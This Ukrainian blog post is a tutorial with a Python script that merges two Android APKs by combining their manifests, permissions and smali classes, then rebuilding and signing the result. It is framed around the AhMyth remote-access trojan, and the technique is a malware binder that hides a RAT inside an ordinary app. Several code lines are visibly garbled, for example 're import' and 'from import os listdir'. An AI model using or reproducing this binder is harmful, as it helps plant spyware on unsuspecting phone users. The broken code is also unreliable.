Склейка двох apk файлів в один

Вирішив я якось зробити склейку двох apk файлів, але інформації про те, як це зробити на просторах інтернету не особливо багато. Тоді озброївшись трояном Ahmyth для android, почалася подорож у світ склеювання apk своїми руками. Коротко про це далі…

Коротко про суть завдання:

Є два apk файли( припустимо 1.апк і 2.апк). Завдання полягає в тому, щоб створити 3.апк, який буде склеюванням 1 і 2 апк(і буде виконувати їх функції).

У результаті код на python):

Маємо:

1. Папка apk — файлів apk;
2. Папка tmp — для декомпільованих файлів;
3.Папка tools — з додатковим софтом(таким як apktool.jar,sign.jar,testkey).

Спочатку визначаємо поточну папку, в якій працюємо і папки куди будемо декомпілювати:

#!/usr/bin/python
# -*- coding: utf-8 -*-
re import
import codecs
import os 
from import os listdir
import shutil
import subprocess
import datetime
pwd = os.getenv("PWD", os.getcwd()) # поточна папка
apkFolder1=pwd+"/tmp/1" # декомпилированный apk1
apkFolder2=pwd+"/tmp/2" # декомпилированный apk2

Потім виробляємо декомпілювання apk файлів в папку tmp:

print "Декомпіляція "+pwd+"/apk/1.апк"
subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.апк -f -o " + pwd+"/tmp/1" , shell=True )
print "Декомпіляція "+pwd+"/apk/2.апк"
 subprocess.call("java -jar" + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.апк -f -o " + pwd+"/tmp/2" , shell=True )

Після цього кроку у нас є дві папки /tmp/1 і /tmp/2 з декомпільованими файлами.
Тепер найцікавіше — об’єднання маніфестів!

print "Створення нового маніфесту"
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read() # читаємо маніфест того, що будемо додавати в інший додаток 
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] # копіюємо всі служби і сервіси 
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]# копіюємо всі дозволи
mainfest2 = open(apkFolder2+"/AndroidManifest.xml", "r").read() # читаємо маніфест того куди будемо додавати
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</empty>")+len("</empty>")]
# перезапис створеного маніфесту
new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
new_mainfest.write(new_mainfest2 )
new_mainfest.close()

Тепер по порядку в цьому коді:

Знаходимо файл AndroidManifest.xml в каталозі /tmp/1:

mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()

У цьому файлі знаходимо всі заявлені сервіси та класи:

service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] 

В AndroidManifest.xml папку /tmp/1 Копіюємо все від тега “<uses-permission” до тега<application “. Тут знаходяться всі дозволи, які потрібні програмі:

permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]

Знаходимо файл AndroidManifest.xml в каталозі /tmp/2:

mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()

Після цього нам треба об’єднати все це в один файл, так, щоб все було на своїх місцях.

Читайте також  Гейм-дизайн: новий підхід до рівнів складності

Новий маніфест (new_mainfest2 ) складається з:

1. Початок AndroidManifest.xml додатка 2.апк(від початку до кінця необхідних дозволів);
2. Додаємо сюди дозволи додатка 1.апк (permission1);
3. Додаємо все, що є в AndroidManifest.xml додатка 2.apk від тега<application” до “” не включаючи його;
4. Додаємо всі служби додатка 1.апк (service1);
5. Додаємо залишки AndroidManifest.xml додатка 2.апк.

new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</empty>")+len("</empty>")]

Перезапис AndroidManifest.xml в каталозі /tmp/2:

# перезапис створеного маніфесту
new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
new_mainfest.write(new_mainfest2 )
new_mainfest.close()

На цьому складання AndroidManifest закінчене. Залишилося скопіювати всі класи з /tmp/1 в /tmp/2. А точніше будемо копіювати папки smali(тут всі класи додатки) і unknown:

subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True ) # копіювання /smali apkFolder1 в /smali apkFolder2
subprocess.call("cp -rn "+apkFolder1+"/unknown "+apkFolder2 , shell=True ) # копіювання /unknown apkFolder1 в /unknown apkFolder2
 

Ну і на завершення треба зібрати все це в файл формату апк, підписати:

 print "Компіляція апк в папку "+ pwd+"/tmp/3.апк"
subprocess.call("java -jar" + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.апк" , shell=True )
print "Підпис файлу "+ pwd+"/tmp/3.апк" 
subprocess.call("java -jar" + pwd+"/tools/sign.jar "+pwd+"/tmp/3.апк --override", shell=True ) 
 

В результаті цього в папці tmp з’являється файл 3.апк, який і є склеюванням двох інших.
P. S. В даному варіанті при склейці дозволів двох додатків не перевіряється їх порівняння і додавання тільки тих, яких немає. Може( і буде) дублювання при декларації дозволів. Але на даному етапі все працює і з дублюванням.

Джерела:
AhMyth-Android-RAT

Степан Лютий

Обожнюю технології в сучасному світі. Хоча частенько і замислююся над тим, як далеко вони нас заведуть. Не те, щоб я прям і знаюся на ядрах, пікселях, коллайдерах і інших парсеках. Просто приходжу в захват від того, що може в творчому пориві вигадати людський розум.

You may also like...

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *